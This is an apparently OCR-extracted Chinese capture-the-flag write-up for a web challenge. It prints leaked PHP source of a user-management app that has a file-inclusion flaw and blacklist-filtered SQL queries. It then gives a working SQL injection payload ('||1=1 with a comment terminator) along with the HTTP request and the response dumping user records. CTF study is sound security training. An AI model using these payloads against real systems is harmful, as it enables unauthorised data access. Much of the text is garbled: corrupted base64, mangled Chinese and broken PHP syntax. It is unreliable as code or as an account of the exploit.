2VOKCRmaWs 1KS17C1 A2 TCBpT 1 AocH] 1719t YXR jaCe il 3BoTX] BemlwiG] 6 ak AyfHpsal] §IGF0TXxpbnB 1 dHwlNDAvas IsJG IphGUpKSE z 2F5IScpOwogICAZIC
gkZnlsZ8k7Cn0KPz 4KC jwhRESDVF 10RSEods 1sPgo8 aHRtbCESYWENP ST 1bi I+C jx o ZWFkP g 08bWVOYSE j aGFyc 2VOPS] 1d6VtOCTH: jx0aXRsZT5 hleeDw»dcmhcuﬂJthmmh
+CgoBhG1 VuP ST he 3NLAHIE Y 30zL 2] vh 3R2dHT heC5 3 3ML TH] 1bD01 € 3R5H6 V226 V1dC I+ jxs a5 I6hy I WY InF 22V 0y 9 ) c3MvY3V2d 9tLWFuali 1hdG 1vbrltuY 3Hz 1By T
T 3N=L3NOeFr 1 Lnlizcy TgenVsPS] zdHLs TXNo ZHVOT § 4KC jwnvaGVhZD4RPG ] vwIHi4C jxlkaX Ve aig0 IngiPgo PGRp1B {GF 2c 201 F> pbuVyT§4KICATCAZTCABDT-HI ASMHIPL e WU
¥31k] ¢/PCOoN] 4KICAEICAF ICABaFINIGNSYXNPS] sh2dv]iBzenM9 11 4v¥XN2TXRaL 21t Zysh 2dvLVuLnBuZy T+PCEtLUsPROSHTOdP TEOHT0xPROSLLT4K ICAR ICAR ICASZG 1 2 IGNSYENZPS,
Qt0CB h2wt bt h2 Inc2VOLT IgY2VudGVy ZWaiPgog IC AR TC AR TCARTCAR TCARPG g 2PuaPkOS GO uoulN TwvaDHC 1 Ag ICAE ICAE ICA TCAE ICASZngybSByb 2 1PSTmb3T t 1iBhY3Rpb 249 Ti 4
€175} dH1vZ 104 VXBwhG1 3 P¥Rpb24veC13d3ctdX] sIWS jh2R1ICT+CiAe ICAR IC AL ICAETC AR TCAL TCAEPHANC AR TC A TC AL TC e ICAR TC AR ICAEPG £ Puilnke+ 70 1 To8L 2g2Peog ICAR ICAL ICAE
TiBjh6Fzez0ie3Vicoly imLinuchnhB-mv11Ps_nc2 25hbW1PgogICAE ICARICAZ ICAE ICAZICAE IDx oMz Tn]L 0x 50GPCO0Nz4K ICAZ ICAE ICARICAR ICAE ICAEIC AH1wT
nB1dCIghuFt210icGhvbnlliPgogICAgICAZICAZICAEICARICARIDx oMz 7 INLDINYAGPCOoMz 4K ICAE ICAE ICAp ICAR IC AR IC AR ICASaW5wdN Qg dH1wIT01 dsV4dC [gY2xhe3HY InH1 Vil jenli 8
ApICAgICAgICAgICAg ICAePCOWPEog ICAR ICAR ICAR ICAZ ICAE ICAR IDx 1 dXROD24g Y 2xhe 3NOT 2T 0biB1dG 4tbGegIGT 0bilzdWIgYnRul X doaXR1T yE0eXE1P ST zdWI taXQiPualkeat o+alr+m.
g1CAgICAEICAZPCONh3T tPgogICARICAE ICAEICABL 2Rpd 4K ICARICAE ICABLORpd3 4K ICAE IDwv TG 12PgaBLORpd 4KC Jxkak YgahQOInYiPgog ICAsPGRpdiB jbGF2cz01Y29udsFpbuVyT 14K
ICApICABaDIgY2xhe3M9 Inl1 1) Torqll ) ZXnr qHnk IVSL2gyPeop ICAR ICAR ICAR ICASYSBo cnVuP STuL 3N1YX] j aC5waHA1Pgog ICA ICAE ICAZ ICAR ICARPG] 1dHRvh1B jb6F 2201 nRulI6 ] Ob
1A+50iR6KaB5p+16K615Y2VPCO1dXROb24+C14gICAgICAe ICAg IDwyYT4KICAg ICA ICAg ICAgPGEgaT 17101119 jaGFul2lucGhw] j4KICAg ICAg ICAe ICAe ICA IDxi dXROb2 4g Y 2xhe 3N In,
1361075 TgPualke ingeS/ rualiue alitui Op+lesOVdgDuny 1CAzICARICAZTCABLOE+C1 Az ICAR ICAR ICAR TDxh IGhy TWYOT14vIG VSRR 1LnBocCI+CiAg TCAE ICAR TCAR TCAETCA
0b11yZWdpe3R1c1B1d64td2hpdGU1 1D 7w JHkuI3mg TPopoBkuo¥8L2] 1 dHRvb 4K ICAE ICA ICAE ICAEPCONPE o] CTwvIG12Pg o] PCOkaX Y+ w16 12Pg ok PHNj em 1wdCEzcuM8 InF zc 2V0cy9q
PHNjculwdCEzcu9 InFzc2V0cy9qcy9ib290c 3Ry YN AubV lulnpz1 1 48L 3 j cnlwdD4KPHNj cnlwdCBz cull® InF 2 2V0cy9qcy 9y Z XRpbuE t MS4xL j AuanlliP jwve2lyaXB0Pgoge 2ya BOLHIY
nI1V3RzLupz1§48L 3N cnlwdDAKPCO1b2REP goBL 2hObFu+C jwhL S0/ TnlsIT0/LS0+Ce==

10 <!'DOCTYPE html>

11E <htul lang="en">

128 <head>

13 <meta charset="utf-8">

14 <titlerindex{/title>

15 <base href="./">

16 {meta charset="utf-8" />

17 C5

LoD
18 <link href="assets/css/bootstrap. css "stylesheet”>

@KogRow

R8I SO S BRI E] T YRS . ORI it
index.php:



<?php
ini_set('open_basedir', '/var/www/html/");
// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['ile'] : null);
if (isset($file)){
if (preg_match("/phar|zip|bzip2|zib|datalinput|%00/i",$file)) {
echo('no way!");
exit;
}
@include($file);
}

?>

index.phpifid IE N 7EA &2 AT 9E T — R R 4
change.php:

<?php
require_once "config.php";
if(lempty($_POST["user_name"]) && !empty($_POST["address"]) && lempty($_POST["phone"]))
{
$msg =";
$pattern = '/select|insertlupdate|deletejand|or|join|like|regexp|where|union|intolload_file|outfile/i';
$user_name =$_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone =$ POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!";
telse{
$sqgl = "select * from “user” where “user_name'='{$user_name}' and “phone’='{$phone}";
$fetch = $db->query($sql);

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sqgl = "update ‘user’ set ‘address’=
$result = $db->query($sql);
if(1$result) {
echo 'error’;
print_r($db->error);

.$address.", "old_address’="".$row['address']." where “user_id'=".$rowf'user_id"];

exit;
}
$msg = "IT BRI
}else {
Smsg = "RILEIT HI";
}
telse {
$msg = "EEBAE"
}

?>

change.phpXff& N IS Hfi T —tesqE AN FIT 8
delete.php:



<?

php

require_once "config.php";

if(!
{

tel

}

77>

empty($ POST["user_name"]) && lempty($ POST["phone"]))

$msg =";
$pattern = '/select|insert|update|deleteland|or]join|like|regexp|where|union|intoload_file|outfile/i';
$user_name = $_POST["user_name"];
$phone =$_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!";
telse{
$sql = "select * from "user’ where “user_name’='{$user_name}' and “phone’="{$phone}";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$result = $db->query(‘delete from “user” where “user_id =" . $row["user_id"));
if(!$result) {

echo 'error';
print_r($db->error);
exit;
}
$msg = "iT B MR R T
}else {
Smsg = "KL EIT 1"
}
se {

$msg = "EEAE";

search.php:



<?php
require_once "config.php";
if('empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg =",
$pattern = '/select|insert|update|deleteland|or]join|like|regexp|where|union|intoload_file|outfile/i';
$user_name = $_POST["user_name"];
$phone =$_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!";
telse{
$sql = "select * from "user’ where “user_name’='{$user_name}' and “phone’="{$phone}";
$fetch = $db->query($sql);

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
if(!$row) {
echo 'error’;
print_r($db->error);
exit;
}
$msg = "<p>#E 4" $rowf'user_name')."</p><p>, HiE:".$row[' phone']."</p><p>, Hilt:".$row['address']."</p>";
}else {
Smsg = "KL EIT HI";
}
Jelse {
$msg = " BAE",
}

7>

T — TFconfig.php:

<?php
ini_set("open_basedir", getewd() . ":/etc:/tmp");
$DATABASE = array(
"host" =>"127.0.0.1",
"username" => "root",
"password" => "root",
"dbname" =>"ctfusers"
)
$db = new mysqli(SDATABASE['host'],$DATABASE['username'], 5 DATABASE['password'], $DATABASE['dbname']);

X B LA IE B B 42 Actfusers, Fusers®
R J5I8H —~confirm.php:



<?php
require_once "config.php";
/Nvar_dump($_POST);
if(lempty($_POST["user_name"]) && !empty($_POST["address"]) && lempty($_POST["phone"]))
{
$msg =";
$pattern = '/select|insert|update|deleteland|or]join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = $ POST["address"];
$phone =$_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!";
telsef{
$sql = "select * from "user’ where “user_name’='{$user_name}' and “phone’="{$phone}";
$fetch = $db->query($sql);
}
if($fetch->num_rows>0) {
$msg = $user_name." S IRAZIT H";
telsef{
$sqgl = "insert into “user” ( “user_name’, “address’, ‘phone”) values( ?, ?, ?)";
$re = $db->prepare($sql);
$re->bind_param("sss", $user_name, $address, $phone);
$re = $re->execute();
if(!$re) {
echo 'error’;
print_r($db->error);
exit;
}
$msg = "IT BRI HIN";
}
}else {
$msg = "EEAE";
}

7>

fEsearch.php F iR T Bl Fpoc, FEFEEAN

select * from "user” where "user_name ="||1=1;--+"and ‘phone '='{$phone}’



Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render

HITP/1.1 200 OK

Server: openresty

Date: Fri, 24 Sep 2021 08:19:23 GNT
Content-Type: text/htul; charset=UTF-8
Conmection: close

¥-Powered-By: PHP/T.3.10
Content-Length: 1962

T

1 POST /search.php BITP/1.1

2 Host: a33h3104-8d6a-44d2-acd7-8056¢4797a97. noded. buuoj. o
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win6d; x84; rv:78.0) Gecko/20100101 Firefox/78.0
4 Accept: text/htnl, application/xhtml+xnl, application/znl;g=0.9, inage/webp, */4;q=0. 8

8, sh=TW; g=0. 7, sh-BK; ¢=0. 5, en-US; q=0. 3, en; q=0. 2

81

5 Accept-Language: zh-CH, h:g
6 Accept-Encoding: gzip. deflate
7 Content-Type: application/z—ww—form-urlencoded

2 Content-Length: 28

9 Origin: http://a33b3104-8d6a-44d2-acH7-8056c4797a87. noded. buuoj. en: 81

10 Connection: close

11 Referer: http://a35h3104-8d6a—44d2-ac07-8056c4797a97. noded. buuoj. cn: 81/search. php
1% Upgrade-Insecure-Requests: 1

<!DOCTYPE html>

106 <html>

11E <head>

12 <meta charset="utf-g8">

13 <titlerfdi</titler

14 <base href="./">

15

16 <link href="assets/css/bootstrap. css” rel="stylesheet”>

17 <link href="assets/css/custom-animations. css” rel="stylecheet”>
<link href="assets/css/style. css” rel="stylesheet”>

14 user_name=" | |1=1}%23&phone=1

</head>
B <body>
B ¢div id="h">
a <div class="container”>
a <div class="row">
a <div class="col-md-§ col-md-offset-2 centered”>
<p style="margin:35px 0;"><br></p>
<R1XITH P </h1>
<form method="post”>
<p>
<h3rEH: /3>
<input type="text” class="subscribe-input” name="user_name’>
<n3> Mg /n3d
<input type="text’ class="subscribe-input” name="phone”>
</p>
<p>
<button class="btn btr-lg bin-sub btn-white’ type="submit”>{
<fp>
</form»
<h2 class="ub"><p>#E 8 fuck</pr<ps, Wik 1/p5<p>, r'g_rg[j..q@;;{,@@j;{u‘_,.‘/

ik

P

B L) L W L LD G L L W 1 R

<fdivy

ERGEEFENFEH A, ENTIEA™HT, WBARES. FFESNEM T AT, F T XFusernameflphonefif T /=4 i
Ty, {HZaddressBH . %€ Maddress A F:
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